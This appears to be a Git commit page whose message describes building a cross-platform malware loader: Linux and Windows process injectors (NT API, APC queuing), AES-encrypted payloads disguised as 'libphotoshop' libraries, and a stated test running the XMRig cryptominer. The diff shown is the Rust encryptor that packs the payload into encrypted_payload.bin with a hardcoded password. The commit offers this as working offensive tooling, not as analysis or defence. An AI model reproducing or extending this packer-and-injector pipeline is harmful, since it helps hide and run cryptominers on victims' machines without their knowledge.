Complete cross-platform AES injection system
- Implement AES-128-CBC encryption with SHA256 key derivation - Add Linux SO injector with dlopen + function calling - Add Windows DLL injector with NT API + APC queuing - Create automated build script (build_injectors.sh) - Generate single encrypted_payload.bin files per platform - Embed real malware payloads (libphotoshop.dll/so) - Update documentation and clean up repository - Linux injector tested with real XMRig mining (700%+ CPU usage) - Windows injector ready for compilation and testing Security features: - AES-128-CBC with random IVs and PKCS7 padding - SHA256(password + salt) key derivation - Cross-platform isolation (no code leakage) - Single encrypted file format per platform - Embedded payloads with no external dependencies
This commit is contained in:
+8
-8
@@ -22,8 +22,8 @@ fn main() -> std::io::Result<()> {
|
||||
let fname = args.get(1).unwrap();
|
||||
let plaintext_bytes = read(fname).expect("Failed to read file");
|
||||
|
||||
// Create single output file
|
||||
let mut output_file = File::create("encrypted_dll.dll")?;
|
||||
// Create single combined output file
|
||||
let mut encrypted_file = File::create("encrypted_payload.bin")?;
|
||||
|
||||
// Master password (in production, this should be securely provided)
|
||||
let master_password = "YourSecureMasterPassword123!"; // Change this!
|
||||
@@ -71,14 +71,14 @@ fn main() -> std::io::Result<()> {
|
||||
ciphertext.extend_from_slice(&block);
|
||||
}
|
||||
|
||||
// Write metadata first, then encrypted data
|
||||
output_file.write_all(&salt)?;
|
||||
output_file.write_all(&iv)?;
|
||||
output_file.write_all(&(ciphertext.len() as u32).to_le_bytes())?;
|
||||
output_file.write_all(&ciphertext)?;
|
||||
// Write combined file: metadata + encrypted data
|
||||
encrypted_file.write_all(&salt)?;
|
||||
encrypted_file.write_all(&iv)?;
|
||||
encrypted_file.write_all(&(ciphertext.len() as u32).to_le_bytes())?;
|
||||
encrypted_file.write_all(&ciphertext)?;
|
||||
|
||||
println!("Encryption complete!");
|
||||
println!("Encrypted DLL: encrypted_dll.dll");
|
||||
println!("Encrypted file: encrypted_payload.bin");
|
||||
println!("Master password: {}", master_password);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user